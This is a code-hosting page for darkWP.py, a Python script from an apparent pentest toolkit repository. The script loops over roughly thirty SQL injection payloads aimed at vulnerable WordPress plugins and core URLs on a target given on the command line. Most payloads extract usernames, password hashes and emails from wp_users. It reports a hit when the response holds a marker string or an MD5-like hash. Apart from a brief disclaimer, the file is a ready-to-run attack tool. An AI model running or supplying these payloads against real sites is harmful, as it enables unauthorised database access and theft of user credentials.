PageRenderTime 43ms CodeModel.GetById 16ms RepoModel.GetById 0ms app.codeStats 0ms

/pentest/misc/b4ltazar/darkWP.py

https://bitbucket.org/flavio58-IT/attackvector-linux
Python | 94 lines | 76 code | 9 blank | 9 comment | 5 complexity | c193fd96f668254e2d67c12b4517a16b MD5 | raw file
    

  1. #!/usr/bin/python
    2. 

  2. # This was written for educational purpose and pentest only. Use it at your own risk.
    3. 

  3. # Author will be not responsible for any damage!
    4. 

  4. # !!! Special greetz for my friend sinner_01 !!!
    5. 

  5. # Toolname        : darkWP.py
    6. 

  6. # Coder           : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
    7. 

  7. # Version         : 0.1
    8. 

  8. # greetz for all members of ex darkc0de.com, ljuska.org 
    9. 

  9. # 
    10. 

  10. 

  11. import subprocess, sys, re, urllib2
    12. 

  12. 

  13. W  = "\033[0m";  
    14. 

  14. R  = "\033[31m";  
    15. 

  15. O  = "\033[33m"; 
    16. 

  16. B  = "\033[34m";
    17. 

  17. 

  18. sqls = ["wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?theme_id=5&ev_ids=1&calendar_id=null%20union%20all%20select%201,1,1,1,0x62616c74617a6172,1,1,1,1,1,1,1,1,1,1,1,1+--+&date=2012-10-10&many_sp_calendar=1&cur_page_url=",
    19. 

  19.         "wp-content/plugins/hd-webplayer/config.php?id=1+/*!UNION*/+/*!SELECT*/+1,2,3,0x62616c74617a6172,5,6,7",
    20. 

  20.         "wp-content/plugins/hd-webplayer/playlist.php?videoid=1+/*!UNION*/+/*!SELECT*/+0x62616c74617a6172,2,3,4,5,6,7",
    21. 

  21.         "index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*",
    22. 

  22. 	    "index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*",
    23. 

  23. 	    "index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**SELECT**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23",
    24. 

  24. 	    "index?page_id=115&forumaction=showprofile&user=1+union+select+null,concat(user_login,0x2f,user_pass,0x2f,user_email),null,null,null,null,null+from+wp_tbv_users/*",
    25. 

  25. 	    "wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--",
    26. 

  26. 	    "wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--",
    27. 

  27. 	    "wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,conca(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users",
    28. 

  28. 	    "wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users",
    29. 

  29. 	    "wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users",
    30. 

  30. 	    "sf-forum?forum=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
    31. 

  31. 	    "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*",
    32. 

  32. 	    "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
    33. 

  33. 	    "index?page_id=2&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201",
    34. 

  34. 	    "wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*",
    35. 

  35. 	    "wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain",
    36. 

  36. 	    "wp-content/plugins/nextgen-smooth-gallery/nggSmoothFrame.php?galleryID=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
    37. 

  37. 	    "myLDlinker.php?url=-2/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
    38. 

  38. 	    "?page_id=2/&forum=all&value=9999+union+select+(select+concat_ws(0x3a,user_login,user_pass)+from+wp_users+LIMIT+0,1)--+&type=9&search=1&searchpage=2",
    39. 

  39. 	    "wp-content/themes/limon/cplphoto.php?postid=-2+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--&id=2",
    40. 

  40. 	    "?event_id=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*",
    41. 

  41. 	    "wp-content/plugins/photoracer/viewimg.php?id=-99999+union+select+0,1,2,3,4,user(),6,7,8/*",
    42. 

  42. 	    "?page_id=2&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users/*",
    43. 

  43. 	    "wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/*",
    44. 

  44. 	    "mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--",
    45. 

  45. 	    "wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--",
    46. 

  46. 	    "wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain",
    47. 

  47.     	"wp-download.php?dl_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*",
    48. 

  48.         "wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?theme_id=5&ev_ids=1&calendar_id=null union all select 1,1,1,1,concat(user_login,0x3a,user_pass),1,1,1,1,1,1,1,1,1,1,1,1+from+wp_users+--+&date=2012-10-10&many_sp_calendar=1&cur_page_url="]
    49. 

  49. 

  50. 

  51. def logo():
    52. 

  52. 	print R+"\n|---------------------------------------------------------------|"
    53. 

  53.         print "| b4ltazar[@]gmail[dot]com                                      |"
    54. 

  54.         print "|   10/2012     darkWP.py  v.0.1                                |"
    55. 

  55.         print "|              b4ltazar.us                                      |"
    56. 

  56.         print "|                                                               |"
    57. 

  57.         print "|---------------------------------------------------------------|\n"
    58. 

  58. 	print W
    59. 

  59.         
    60. 

  60.     
    61. 

  61. if sys.platform == 'linux' or sys.platform == 'linux2':
    62. 

  62.     subprocess.call("clear", shell=True)
    63. 

  63.     logo()
    64. 

  64. else:
    65. 

  65.     subprocess.call("cls", shell=True)
    66. 

  66.     logo()
    67. 

  67.     
    68. 

  68. if len(sys.argv) != 2:
    69. 

  69.     print "[+] Usage: python darkWP.py [target]"
    70. 

  70.     print "[+] Thanks for using script, please visit http://b4ltazar.us"
    71. 

  71.     sys.exit(1)
    72. 

  72.     
    73. 

  73. target = sys.argv[1].replace("http://", "").rsplit("/",1)[0]
    74. 

  74. if target[-1] != "/":
    75. 

  75.     target = target+"/"
    76. 

  76.     
    77. 

  77. print R+"[!] Target:",target
    78. 

  78. print "[!] Sqli loaded:",len(sqls);print ""
    79. 

  79. 

  80. for sql in sqls:
    81. 

  81.     print B+"[+] Checking: "+R+sql.replace("\n","")
    82. 

  82.     try:
    83. 

  83.         source = urllib2.urlopen("http://"+target+sql.replace("\n","")).read()
    84. 

  84.         if re.findall("baltazar", source) or re.findall("[a-f0-9]"*32, source):
    85. 

  85.             print R+"[!] w00t!,w00t! "+O+"http://"+target+sql.replace("\n","")+R+" SQLi Found"
    86. 

  86.     except(urllib2.HTTPError):
    87. 

  87.         pass
    88. 

  88.     except(KeyboardInterrupt, SystemExit):
    89. 

  89.         raise
    90. 

  90.         
    91. 

  91. print W+"\n[!] Done"
    92. 

  92. print "[+] Thanks for using script, please visit http://b4ltazar.us"
    93. 

  93. 

  94.     
    95. 

  95.